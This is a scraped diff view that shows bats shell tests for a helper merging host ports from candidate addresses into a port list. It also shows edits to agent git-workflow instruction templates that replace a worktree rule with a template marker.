[ "$output" = "[3100]" ] || { echo "the host's own candidate was dropped: $output"; return 1; }
|
||||
_fold "" "172.17.0.1:3100" 192.168.9.9
|
||||
[ "$output" = "[]" ] || { echo "a candidate that is not the host was kept: $output"; return 1; }
|
||||
# The operator's own value is extended, not replaced, and a repeat does
|
||||
# not double.
|
||||
_fold "22000" "172.17.0.1:3100 10.0.0.5:8080" 172.17.0.1 10.0.0.5
|
||||
[ "$output" = "[22000,3100,8080]" ] || { echo "the combined list came out as $output"; return 1; }
|
||||
_fold "3100" "172.17.0.1:3100" 172.17.0.1
|
||||
[ "$output" = "[3100]" ] || { echo "a port already present was added again: $output"; return 1; }
|
||||
# `any` is wider than anything a candidate could add.
|
||||
_fold "any" "172.17.0.1:3100" 172.17.0.1
|
||||
[ "$output" = "[any]" ] || { echo "any was narrowed to $output"; return 1; }
|
||||
# And nothing at all when the host has no entry.
|
||||
_fold "" "172.17.0.1:3100"
|
||||
[ "$output" = "[]" ] || { echo "a candidate was kept with no host address: $output"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "the host entry permits the ports it was given, and refuses the rest" {
|
||||
_host_clamp "3100"
|
||||
[ "$status" -eq 0 ]
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
Git workflow - do this even though nothing stops you from doing otherwise:
|
||||
- Do new work in a git worktree for the feature branch, not by switching
|
||||
branches in place in the mounted checkout - that's the user's actual
|
||||
working copy, and changing its branch out from under them is disruptive
|
||||
even if you switch it back.
|
||||
<!-- core: worktree -->
|
||||
- Push that branch to the remote when the work is complete and its tests
|
||||
pass. Do that WITHOUT asking first: this workflow's destination is known,
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
Git workflow - do this even though nothing stops you from doing otherwise:
|
||||
- Do new work in a git worktree for the feature branch, not by switching
|
||||
branches in place in the mounted checkout - that's the user's actual
|
||||
working copy, and changing its branch out from under them is disruptive
|
||||
even if you switch it back.
|
||||
<!-- core: worktree -->
|
||||
- Push that branch to the remote, then run `{{pr_command}} create` from
|
||||
the worktree. Never push directly to {{blocked_branches}}, on any remote,
|
||||
|
||||
Reference in New Issue
Block a user